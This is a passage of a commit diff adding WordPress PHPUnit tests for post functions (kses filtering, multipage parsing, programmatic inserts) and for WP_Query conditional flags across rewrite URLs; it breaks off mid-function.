+               kses_remove_filters();
+       }
+
+       /**
+        * @ticket 22944
+        */
+       function test_wp_publish_post_and_avoid_content_filtering() {
+               kses_remove_filters();
+
+               $post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+               $post = get_post( $post_id );
+               $this->assertEquals( '<script>Test</script>', $post->post_title );
+               $this->assertEquals( 'draft', $post->post_status );
+
+               kses_init_filters();
+
+               wp_publish_post( $post->ID );
+               $post = get_post( $post->ID );
+               $this->assertEquals( '<script>Test</script>', $post->post_title );
+
+               kses_remove_filters();
+       }
+
+       /**
+        * @ticket 22883
+        */
+       function test_get_page_uri_with_stdclass_post_object() {
+               $post_id    = $this->factory->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+
+               // Mimick an old stdClass post object, missing the ancestors field.
+               $post_array = (object) get_post( $post_id, ARRAY_A );
+               unset( $post_array->ancestors );
+
+               // Dummy assertion. If this test fails, it will actually error out on an E_WARNING.
+               $this->assertEquals( 'get-page-uri-post-name', get_page_uri( $post_array ) );
+       }
+
+       /**
+        * @ticket 23708
+        */
+       function test_get_post_ancestors_within_loop() {
+               global $post;
+               $parent_id = $this->factory->post->create();
+               $post = $this->factory->post->create_and_get( array( 'post_parent' => $parent_id ) );
+               $this->assertEquals( array( $parent_id ), get_post_ancestors( 0 ) );
+       }
+
+       /**
+        * @ticket 23474
+        */
+       function test_update_invalid_post_id() {
+               $post_id = $this->factory->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+               $post = get_post( $post_id, ARRAY_A );
+
+               $post['ID'] = 123456789;
+
+               $this->assertEquals( 0, wp_insert_post( $post ) );
+               $this->assertEquals( 0, wp_update_post( $post ) );
+
+               $this->assertInstanceOf( 'WP_Error', wp_insert_post( $post, true ) );
+               $this->assertInstanceOf( 'WP_Error', wp_update_post( $post, true ) );
+
+       }
+
+       function test_parse_post_content_single_page() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => 'Page 0' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 0, $multipage );
+               $this->assertCount(  1, $pages );
+               $this->assertEquals( 1, $numpages );
+               $this->assertEquals( array( 'Page 0' ), $pages );
+       }
+
+       function test_parse_post_content_multi_page() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 1, $multipage );
+               $this->assertCount(  4, $pages );
+               $this->assertEquals( 4, $numpages );
+               $this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+       }
+
+       function test_parse_post_content_remaining_single_page() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => 'Page 0' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 0, $multipage );
+               $this->assertCount(  1, $pages );
+               $this->assertEquals( 1, $numpages );
+               $this->assertEquals( array( 'Page 0' ), $pages );
+       }
+
+       function test_parse_post_content_remaining_multi_page() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 1, $multipage );
+               $this->assertCount(  4, $pages );
+               $this->assertEquals( 4, $numpages );
+               $this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+       }
+
+       /**
+        * @ticket 16746
+        */
+       function test_parse_post_content_starting_with_nextpage() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => '<!--nextpage-->Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 1, $multipage );
+               $this->assertCount(  4, $pages );
+               $this->assertEquals( 4, $numpages );
+               $this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+       }
+
+       /**
+        * @ticket 16746
+        */
+       function test_parse_post_content_starting_with_nextpage_multi() {
+               global $multipage, $pages, $numpages;
+               $post_id = $this->factory->post->create( array( 'post_content' => '<!--nextpage-->Page 0' ) );
+               $post = get_post( $post_id );
+               setup_postdata( $post );
+               $this->assertEquals( 0, $multipage );
+               $this->assertCount(  1, $pages );
+               $this->assertEquals( 1, $numpages );
+               $this->assertEquals( array( 'Page 0' ), $pages );
+       }
+
+       /**
+        * @ticket 19373
+        */
+       function test_insert_programmatic_sanitized() {
+               $this->_unset_current_user();
+               
+               register_taxonomy( 'test_tax', 'post' );
+               
+               $title = rand_str();
+               $post_data = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'public',
+                       'post_content' => rand_str(),
+                       'post_title' => $title,
+                       'tax_input' => array(
+                               'test_tax' => array( 'term', 'term2', 'term3' )
+                       )
+               );
+               $insert_post_id = wp_insert_post( $post_data, true, true );
+               $this->assertTrue( ( is_int($insert_post_id) && $insert_post_id > 0 ) );
+               
+               $post = get_post( $insert_post_id );
+               $this->assertEquals( $post->post_author, $this->author_id );
+               $this->assertEquals( $post->post_title, $title );
+       }
+
+       /**
+        * @ticket 19373
+        */
+       function test_insert_programmatic_without_current_user_success() {
+               $this->_unset_current_user();
+               
+               register_taxonomy( 'test_tax', 'post' );
+               
+               $title = rand_str();
+               $post_data = array(
+                       'post_author' => $this->author_id,
+                       'post_status' => 'public',
+                       'post_content' => rand_str(),
+                       'post_title' => $title,
+                       'tax_input' => array(
+                               'test_tax' => array( 'term', 'term2', 'term3' )
+                       )
+               );
+               // with sanitize set to false
+               $insert_post_id = wp_insert_post( $post_data, true, false );
+               
+               $post = get_post( $insert_post_id );
+               $this->assertEquals( $post->post_author, $this->author_id );
+               $this->assertEquals( $post->post_title, $title );
+               
+               $terms = wp_get_object_terms( $insert_post_id, 'test_tax' );
+               $this->assertTrue( ( is_array( $terms ) && count( $terms ) == 3 ) );
+       }
+
+       /**
+        * @ticket 19373
+        */
+       function test_insert_programmatic_without_current_user_fail() {
+               $this->_unset_current_user();
+               
+               register_taxonomy( 'test_tax', 'post' );
+               
+               $title = rand_str();
+               $post_data = array(
+                       // post_author not set
+                       'post_status' => 'public',
+                       'post_content' => rand_str(),
+                       'post_title' => $title,
+                       'tax_input' => array(
+                               'test_tax' => array( 'term', 'term2', 'term3' )
+                       )
+               );
+               // with sanitize set to false
+               $insert_post_id = wp_insert_post( $post_data, true, false );
+
+               // should error because no default user exists and no post author is passed in
+               $this->assertInstanceOf( 'WP_Error', $insert_post_id );
+               $this->assertEquals( 'empty_author', $insert_post_id->get_error_code() );
+       }
+
+       /**
+        * @ticket 24803
+        */
+       function test_wp_count_posts() {
+               $post_type = rand_str(20);
+               register_post_type( $post_type );
+               $this->factory->post->create( array(
+                       'post_type' => $post_type,
+                       'post_author' => $this->author_id
+               ) );
+               $count = wp_count_posts( $post_type, 'readable' );
+               $this->assertEquals( 1, $count->publish );
+               _unregister_post_type( $post_type );
+               $this->assertEquals( new stdClass, wp_count_posts( $post_type, 'readable' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsqueryconditionalsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/query/conditionals.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/query/conditionals.php                         (rev 0)
+++ trunk/tests/tests/query/conditionals.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,632 @@
</span><ins>+<?php
+
+/**
+ * Test the is_*() functions in query.php across the URL structure
+ *
+ * This exercises both query.php and rewrite.php: urls are fed through the rewrite code,
+ * then we test the effects of each url on the wp_query object.
+ *
+ * @group query
+ * @group rewrite
+ */
+class Tests_Query_Conditionals extends WP_UnitTestCase {
+
+       protected $page_ids;
+       protected $post_ids;
+
+       function setUp() {
+               parent::setUp();
+
+               update_option( 'comments_per_page', 5 );
+               update_option( 'posts_per_page', 5 );
+
+               global $wp_rewrite;
+               update_option( 'permalink_structure', '/%year%/%monthnum%/%day%/%postname%/' );
+               create_initial_taxonomies();
+               $GLOBALS['wp_rewrite']->init();
+               flush_rewrite_rules();
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               $GLOBALS['wp_rewrite']->init();
+       }
+
+       /**
+        * Check each of the WP_Query is_* functions/properties against expected boolean value.
+        *
+        * Any properties that are listed by name as parameters will be expected to be true; any others are
+        * expected to be false. For example, assertQueryTrue('is_single', 'is_feed') means is_single()
+        * and is_feed() must be true and everything else must be false to pass.
+        *
+        * @param string $prop,... Any number of WP_Query properties that are expected to be true for the current request.
+        */
+       function assertQueryTrue(/* ... */) {
+               global $wp_query;
+               $all = array(
+                       'is_single', 'is_preview', 'is_page', 'is_archive', 'is_date', 'is_year', 'is_month', 'is_day', 'is_time',
+                       'is_author', 'is_category', 'is_tag', 'is_tax', 'is_search', 'is_feed', 'is_comment_feed', 'is_trackback',
+                       'is_home', 'is_404', 'is_comments_popup', 'is_paged', 'is_admin', 'is_attachment', 'is_singular', 'is_robots',
+                       'is_posts_page', 'is_post_type_archive',
+               );
+               $true = func_get_args();
+
+               $passed = true;
+               $not_false = $not_true = array(); // properties that were not set to expected values
+
+               foreach ( $all as $query_thing ) {
+                       $result = is_callable( $query_thing ) ? call_user_func( $query_thing ) : $wp_query->$query_thing;
+
+                       if ( in_array( $query_thing, $true ) ) {
+                               if ( ! $result ) {
+                                       array_push( $not_true, $query_thing );
+                                       $passed = false;
+                               }
+                       } else if ( $result ) {
+                               array_push( $not_false, $query_thing );
+                               $passed = false;
+                       }
+               }
+
+               $message = '';
+               if ( count($not_true) )
+                       $message .= implode( $not_true, ', ' ) . ' should be true. ';
+               if ( count($not_false) )
+                       $message .= implode( $not_false, ', ' ) . ' should be false.';
+               $this->assertTrue( $passed, $message );
+       }
+
+       function test_home() {
+               $this->go_to('/');
+               $this->assertQueryTrue('is_home');
+       }
+
+       function test_404() {
+               $this->go_to('/'.rand_str());
+               $this->assertQueryTrue('is_404');
+       }
+
+       function test_permalink() {
+               $post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertQueryTrue('is_single', 'is_singular');
+       }
+
+       function test_post_comments_feed() {
+               $post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+               $this->factory->comment->create_post_comments( $post_id, 2 );
+               $this->go_to( get_post_comments_feed_link( $post_id ) );
+               $this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+       }
+
+
+       function test_post_comments_feed_with_no_comments() {
+               $post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+               $this->go_to( get_post_comments_feed_link( $post_id ) );
+               $this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+       }
+
+       function test_page() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about' ) );
+               $this->go_to( get_permalink( $page_id ) );
+               $this->assertQueryTrue('is_page','is_singular');
+       }
+
+       function test_parent_page() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $this->go_to( get_permalink( $page_id ) );
+
+               $this->assertQueryTrue('is_page','is_singular');
+       }
+
+       function test_child_page_1() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $this->go_to( get_permalink( $page_id ) );
+
+               $this->assertQueryTrue('is_page','is_singular');
+       }
+
+       function test_child_page_2() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+               $this->go_to( get_permalink( $page_id ) );
+
+               $this->assertQueryTrue('is_page','is_singular');
+       }
+
+       // '(about)/trackback/?$' => 'index.php?pagename=$matches[1]&tb=1'
+       function test_page_trackback() {
+               $page_ids = array();
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+               foreach ( $page_ids as $page_id ) {
+                       $url = get_permalink( $page_id );
+                       $this->go_to("{$url}trackback/");
+
+                       // make sure the correct wp_query flags are set
+                       $this->assertQueryTrue('is_page','is_singular','is_trackback');
+
+                       // make sure the correct page was fetched
+                       global $wp_query;
+                       $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+               }
+       }
+
+       //'(about)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?pagename=$matches[1]&feed=$matches[2]'
+       function test_page_feed() {
+               $page_ids = array();
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+               foreach ( $page_ids as $page_id ) {
+                       $this->factory->comment->create_post_comments( $page_id, 2 );
+                       $url = get_permalink( $page_id );
+                       $this->go_to("{$url}feed/");
+
+                       // make sure the correct wp_query flags are set
+                       $this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+                       // make sure the correct page was fetched
+                       global $wp_query;
+                       $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+               }
+       }
+
+       function test_page_feed_with_no_comments() {
+               $page_ids = array();
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+               foreach ( $page_ids as $page_id ) {
+                       $url = get_permalink( $page_id );
+                       $this->go_to("{$url}feed/");
+
+                       // make sure the correct wp_query flags are set
+                       $this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+                       // make sure the correct page was fetched
+                       global $wp_query;
+                       $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+               }
+       }
+
+       // '(about)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?pagename=$matches[1]&feed=$matches[2]'
+       function test_page_feed_atom() {
+               $page_ids = array();
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+               $page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+               foreach ( $page_ids as $page_id ) {
+                       $this->factory->comment->create_post_comments( $page_id, 2 );
+
+                       $url = get_permalink( $page_id );
+                       $this->go_to("{$url}feed/atom/");
+
+                       // make sure the correct wp_query flags are set
+                       $this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+                       // make sure the correct page was fetched
+                       global $wp_query;
+                       $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+               }
+       }
+
+       // '(about)/page/?([0-9]{1,})/?$' => 'index.php?pagename=$matches[1]&paged=$matches[2]'
+       function test_page_page_2() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+               $this->go_to("/about/page/2/");
+
+               // make sure the correct wp_query flags are set
+               $this->assertQueryTrue('is_page', 'is_singular', 'is_paged');
+
+               // make sure the correct page was fetched
+               global $wp_query;
+               $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+       }
+
+       // '(about)/page/?([0-9]{1,})/?$' => 'index.php?pagename=$matches[1]&paged=$matches[2]'
+       function test_page_page_2_no_slash() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+               $this->go_to("/about/page2/");
+
+               // make sure the correct wp_query flags are set
+               $this->assertQueryTrue('is_page', 'is_singular', 'is_paged');
+
+               // make sure the correct page was fetched
+               global $wp_query;
+               $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+       }
+
+       // FIXME: what is this for?
+       // '(about)(/[0-9]+)?/?$' => 'index.php?pagename=$matches[1]&page=$matches[2]'
+       function test_pagination_of_posts_page() {
+               $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+               update_option( 'show_on_front', 'page' );
+               update_option( 'page_for_posts', $page_id );
+
+               $this->go_to('/about/2/');
+
+               $this->assertQueryTrue( 'is_home', 'is_posts_page' );
+
+               // make sure the correct page was fetched
+               global $wp_query;
+               $this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+       }
+
+       // FIXME: no tests for these yet
+       // 'about/attachment/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+       // 'about/attachment/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+       // 'about/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+       // 'about/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+
+       // 'feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]',
+       // '(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]',
+       function test_main_feed_2() {
+               $this->factory->post->create(); // @test_404
+               $feeds = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+
+               // long version
+               foreach ($feeds as $feed) {
+                       $this->go_to("/feed/{$feed}/");
+                       $this->assertQueryTrue('is_feed');
+               }
+
+               // short version
+               foreach ($feeds as $feed) {
+                       $this->go_to("/{$feed}/");
+                       $this->assertQueryTrue('is_feed');
+               }
+
+       }
+
+       function test_main_feed() {
+               $this->factory->post->create(); // @test_404
+               $types = array('rss2', 'rss', 'atom');
+               foreach ($types as $type) {
+                       $this->go_to(get_feed_link($type));
+                       $this->assertQueryTrue('is_feed');
+               }
+       }
+
+       // 'page/?([0-9]{1,})/?$' => 'index.php?&paged=$matches[1]',
+       function test_paged() {
+               $this->factory->post->create_many( 15 );
+               for ( $i = 2; $i <= 3; $i++ ) {
+                       $this->go_to("/page/{$i}/");
+                       $this->assertQueryTrue('is_home', 'is_paged');
+               }
+       }
+
+       // 'comments/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]&withcomments=1',
+       // 'comments/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]&withcomments=1',
+       function test_main_comments_feed() {
+               $post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+               $this->factory->comment->create_post_comments( $post_id, 2 );
+
+               // check the url as generated by get_post_comments_feed_link()
+               $this->go_to( get_post_comments_feed_link( $post_id ) );
+               $this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/comments/feed/{$type}");
+                               $this->assertQueryTrue('is_feed', 'is_comment_feed');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/comments/{$type}");
+                               $this->assertQueryTrue('is_feed', 'is_comment_feed');
+               }
+
+       }
+
+       // 'search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?s=$matches[1]&feed=$matches[2]',
+       // 'search/(.+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?s=$matches[1]&feed=$matches[2]',
+       function test_search_feed() {
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/search/test/feed/{$type}");
+                               $this->assertQueryTrue('is_feed', 'is_search');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/search/test/{$type}");
+                               $this->assertQueryTrue('is_feed', 'is_search');
+               }
+       }
+
+       // 'search/(.+)/page/?([0-9]{1,})/?$' => 'index.php?s=$matches[1]&paged=$matches[2]',
+       function test_search_paged() {
+               $this->factory->post->create_many( 10, array( 'post_title' => 'test' ) );
+               $this->go_to('/search/test/page/2/');
+               $this->assertQueryTrue('is_search', 'is_paged');
+       }
+
+       // 'search/(.+)/?$' => 'index.php?s=$matches[1]',
+       function test_search() {
+               $this->go_to('/search/test/');
+               $this->assertQueryTrue('is_search');
+       }
+
+       /**
+        * @ticket 13961
+        */
+       function test_search_encoded_chars() {
+               $this->go_to('/search/F%C3%BCnf%2Bbar/');
+               $this->assertEquals( get_query_var( 's' ), 'Fünf+bar' );
+       }
+
+       // 'category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?category_name=$matches[1]&feed=$matches[2]',
+       // 'category/(.+?)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?category_name=$matches[1]&feed=$matches[2]',
+       function test_category_feed() {
+               $this->factory->term->create( array( 'name' => 'cat-a', 'taxonomy' => 'category' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/category/cat-a/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_category');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/category/cat-a/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_category');
+               }
+       }
+
+       // 'category/(.+?)/page/?([0-9]{1,})/?$' => 'index.php?category_name=$matches[1]&paged=$matches[2]',
+       function test_category_paged() {
+               $this->factory->post->create_many( 10 );
+               $this->go_to('/category/uncategorized/page/2/');
+               $this->assertQueryTrue('is_archive', 'is_category', 'is_paged');
+       }
+
+       // 'category/(.+?)/?$' => 'index.php?category_name=$matches[1]',
+       function test_category() {
+               $this->factory->term->create( array( 'name' => 'cat-a', 'taxonomy' => 'category' ) );
+               $this->go_to('/category/cat-a/');
+               $this->assertQueryTrue('is_archive', 'is_category');
+       }
+
+       // 'tag/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?tag=$matches[1]&feed=$matches[2]',
+       // 'tag/(.+?)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?tag=$matches[1]&feed=$matches[2]',
+       function test_tag_feed() {
+               $this->factory->term->create( array( 'name' => 'tag-a', 'taxonomy' => 'post_tag' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/tag/tag-a/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_tag');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/tag/tag-a/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_tag');
+               }
+       }
+
+       // 'tag/(.+?)/page/?([0-9]{1,})/?$' => 'index.php?tag=$matches[1]&paged=$matches[2]',
+       function test_tag_paged() {
+               $post_ids = $this->factory->post->create_many( 10 );
+               foreach ( $post_ids as $post_id )
+                       $this->factory->term->add_post_terms( $post_id, 'tag-a', 'post_tag' );
+               $this->go_to('/tag/tag-a/page/2/');
+               $this->assertQueryTrue('is_archive', 'is_tag', 'is_paged');
+       }
+
+       // 'tag/(.+?)/?$' => 'index.php?tag=$matches[1]',
+       function test_tag() {
+               $this->factory->term->create( array( 'name' => 'tag-a', 'taxonomy' => 'post_tag' ) );
+               $this->go_to('/tag/tag-a/');
+               $this->assertQueryTrue('is_archive', 'is_tag');
+       }
+
+       // 'author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?author_name=$matches[1]&feed=$matches[2]',
+       // 'author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?author_name=$matches[1]&feed=$matches[2]',
+       function test_author_feed() {
+               $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/author/user-a/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_author');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/author/user-a/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_author');
+               }
+       }
+
+       // 'author/([^/]+)/page/?([0-9]{1,})/?$' => 'index.php?author_name=$matches[1]&paged=$matches[2]',
+       function test_author_paged() {
+               $user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+               $this->factory->post->create_many( 10, array( 'post_author' => $user_id ) );
+               $this->go_to('/author/user-a/page/2/');
+               $this->assertQueryTrue('is_archive', 'is_author', 'is_paged');
+       }
+
+       // 'author/([^/]+)/?$' => 'index.php?author_name=$matches[1]',
+       function test_author() {
+               $user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+               $this->factory->post->create( array( 'post_author' => $user_id ) );
+               $this->go_to('/author/user-a/');
+               $this->assertQueryTrue('is_archive', 'is_author');
+       }
+
+       function test_author_with_no_posts() {
+               $user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+               $this->go_to('/author/user-a/');
+               $this->assertQueryTrue('is_archive', 'is_author');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]',
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]',
+       function test_ymd_feed() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/09/04/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_day', 'is_date');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/09/04/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_day', 'is_date');
+               }
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]',
+       function test_ymd_paged() {
+               $this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/09/04/page/2/');
+               $this->assertQueryTrue('is_archive', 'is_day', 'is_date', 'is_paged');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]',
+       function test_ymd() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/09/04/');
+               $this->assertQueryTrue('is_archive', 'is_day', 'is_date');
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]',
+       // '([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]',
+       function test_ym_feed() {
+               $this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+               // check the long form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/09/feed/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_month', 'is_date');
+               }
+
+               // check the short form
+               $types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+               foreach ($types as $type) {
+                               $this->go_to("/2007/09/{$type}");
+                               $this->assertQueryTrue('is_archive', 'is_feed', 'is_month', 'is_date');
+               }
+       }
+
+       // '([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]',
+       function test_ym_paged() {
+               $this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+               $this->go_to('/2007/09/page/2/');
